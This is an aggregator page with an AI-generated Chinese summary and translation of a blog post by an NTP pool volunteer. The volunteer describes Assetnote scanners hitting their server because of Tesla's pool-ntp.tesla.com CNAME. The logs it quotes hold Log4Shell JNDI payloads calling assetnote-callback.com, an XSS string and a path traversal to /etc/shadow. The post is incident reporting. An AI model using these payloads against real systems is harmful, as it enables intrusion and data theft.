Hacker News Best

I'm being cyberattacked by Tesla, Inc

8.5内容质量

TL;DR · AI 摘要

作者的NTP池服务器被Tesla关联的扫描工具误攻击，因DNS配置导致误识别。

核心要点

  • Tesla的pool-ntp.tesla.com域名CNAME指向NTP Pool志愿者服务器，导致扫描工具误识别
  • Assetnote使用AWS AS的扫描IP发起约8000次攻击请求
  • 作者已通过邮件向Tesla反馈但未获回应

结构提纲

按章节快速跳转。

  1. §攻击事件概述

    描述服务器遭受Tesla关联IP的异常攻击情况

  2. ·攻击日志分析

    展示包含恶意payload的HTTP请求日志样本

  3. ›攻击来源追踪

    确认攻击IP均来自AWS AS网络

  4. ·误识别原理

    解析Tesla DNS配置导致资产误判的技术原因

  5. ›NTP Pool关联

    说明pool-ntp.tesla.com与NTP Pool的CNAME关系

  6. ·事件处理

    记录与Tesla的沟通及当前状态

思维导图

用一张图看清主题之间的关系。

查看大纲文本（无障碍 / 无 JS 友好）
  • Tesla误攻击事件
    • 攻击特征
      • JNDI LDAP注入payload
      • AWS AS来源IP
    • 技术原因
      • DNS CNAME配置错误
      • NTP Pool志愿者服务器
    • 处理进展
      • 邮件反馈Tesla
      • Assetnote已解决

金句 / Highlights

值得收藏与分享的关键句。

#网络安全#DNS配置#误攻击#Assetnote
打开原文

我正遭受特斯拉公司的网络攻击

该帖子自身的日期信息。通过 assetsBuild/makeMeta.py 脚本与 blog.html 中的列表进行交叉验证，同时与上方 JSON-LD 中的日期一致。

2026-09-13

更新：已解决

来自 Assetnote 的 Patrik 向我发送了一条非常友好的消息，问题已得到解决。感谢！

虽然 IPv4 互联网黑暗角落中的所有内容通常都会遭受大量随机扫描流量和偶尔出现的顽固攻击者，但我在查看 nginx 日志时注意到一些异常现象。有三个特定 IP 地址持续发起攻击，奇怪之处在于这些流量的 Host 或 Referer 头部都来自 pool-ntp.tesla.com，使用了 Assetnote 的用户代理，并试图通过 SSRF 攻击将我重定向到 Assetnote 的回调 URL：

code
35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

这些流量来自三个特定的扫描器：54.165.75.96、35.168.63.24 和 52.44.200.251。所有这些 IP 都属于 Amazon Web Services AS (AMAZON-AES)。

Assetnote（现营销材料中称为 Searchlight Cyber）作为合法的攻击面管理工具，确实会使用此类持续威胁暴露扫描器为客户资产进行自动化检查。假设这是真实的 Assetnote 流量（他们确实使用 AWS，因此验证通过），他们可能误将我识别为特斯拉内部资产。

事件经过

特斯拉将 pool-ntp.tesla.com 发布为 pool.ntp.org 的 CNAME 记录。pool.ntp.org 是 NTP 池，由我参与的志愿者 NTP 服务器组成的轮询系统。（附注：他们应该使用供应商的 DNS 区域，而不是在 tesla.com 下设置自己的 CNAME 记录。）

推测：Assetnote 扫描了 tesla.com 下的所有可访问内容，包括 pool-ntp.tesla.com。该域名通过 CNAME 指向 pool.ntp.org，而 pool.ntp.org 可解析到我的机器 67.215.249.229。资产清单将此记录为特斯拉资产，并开始对我这个陌生人发起攻击。

我已向特斯拉发送邮件，但尚未收到回复：

你好，我的服务器并非特斯拉漏洞，我也没有提出任何要求，只是想告知你，你可能无意中造成了困扰。我的服务器是 NTP 池的成员。在过去两天内，它收到了来自你们两个扫描主机 <54.165.75.96> 和 <35.168.63.24> 的约 8,000 次请求，用户代理为 <Assetnote/1.0.0 (ExposureScan)>，包含大量模板化攻击载荷。每个载荷都使用 <pool-ntp.tesla.com> 作为目标主机名。我假设你们有一个内部子域名，通过轮询方式解析到 NTP 池成员服务器，而这些服务器中绝大多数并不属于特斯拉。你们的资产发现机制似乎无意中将 <pool-ntp.tesla.com> 能解析到的所有 IP 地址都纳入了主动扫描范围。虽然没有造成实际损害，但我想提醒你们，你们正在向陌生人的 IP 地址发起攻击。如果需要，我很乐意提供原始日志。Robin dreamstation.systems / 67.215.249.229

他们对我发动了各种攻击尝试：路径遍历、Webshell上传、探测软件内部结构、探测WordPress及其他CMS管理端点、SSRF、Log4Shell，还有许多其他攻击方式。

也出现了回调尝试。989次请求嵌入了用于Log4Shell和Text4Shell检测的assetnote-callback.com主机名，另有114次请求使用了canary.assetnotessrf.com主机名：

code
GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

一个有趣但尚无解释的现象是，有15次请求携带了Host头login.solarcity.com，所有请求均为GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll，我认为这可能是某种ASP.NET技巧，试图将路径/b/(S(x))in/解析为/bin/。

在Host头之外，我还发现了其他有趣信息。扫描Referer头、URL和查询字符串后，发现模板中嵌入了主机名，例如：

code
GET /calendars/[email protected]/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

其他被我发现的第三方主机名包括servicemcdonalds.com、saferas.com、rsmafghanistan.af、enrichcs.com.au、escience2010.org、al-forno.com.au和disneyfineart.com。

在其中一个探测请求的Referer中还出现了RFC 1918地址：

code
GET /internal/v2/config/mps_secret/ADM_SESSIONID
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

扫描器还出于某种原因，对发现的每个端口都尝试发送HTTP请求。我的SSH、Postfix和Dovecot服务收到了大量垃圾HTTP流量。

9月8日，我开始对pool-ntp.tesla.com主机返回非标准状态码299（希望借此引起扫描日志阅读者的注意），每条路径都附带以下提示信息：

# 这不是特斯拉的基础设施！这是一台业余爱好者的NTP、Web和多功能服务器。过去几天，我收到了来自两个Assetnote扫描主机（54.165.75.96和35.168.63.24）发送到pool-ntp.tesla.com主机的大量请求。pool-ntp.tesla.com通过CNAME指向pool.ntp.org，该域名会轮询到数千台志愿者NTP服务器，但你的扫描器似乎卡在了我的服务器上。你并未对我造成任何损害，但你正在向陌生IP地址发起攻击。我已经向[email protected]报告了此事。如果你想联系我，可以发送邮件至[email protected]，我可以提供详细日志。

遗憾的是，这种做法似乎并未改变攻击者的行为。

他们的所有攻击都未能成功，我对此感到自豪。

自8月21日起，我已从Assetnote主机收到超过50,000次请求。流量至今仍未停止，我将在未来更新这篇帖子。

（是的，我本可以直接屏蔽他们的IP，但观察这一过程非常有趣，我也希望让特斯拉的某位员工了解当前的情况。）

他们是否对整个NTP池都这么做？

我向NTP池服务器运营商社区板询问，是否有其他人在同一IP地址上运行Web服务器时也遇到类似情况。一位运营商Matt Nordhoff表示，他自8月15日起也发现了类似现象：

code
$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
   9126 54.165.75.96
   7461 35.168.63.24
   6123 52.44.200.251
     11 64.227.103.50
      6 146.190.142.16
      4 3.101.230.148
      3 3.88.188.142
      3 3.101.216.68
      2 54.213.2.72
      2 54.202.10.40

但其他人似乎没有发表任何看法。我正在疑惑，他们是否每次都在重新解析 pool-ntp.tesla.com 并尝试访问地理位置魔法能让他们到达的所有节点，还是仅仅收集了几个池IP地址并持续对这些节点发起大量请求。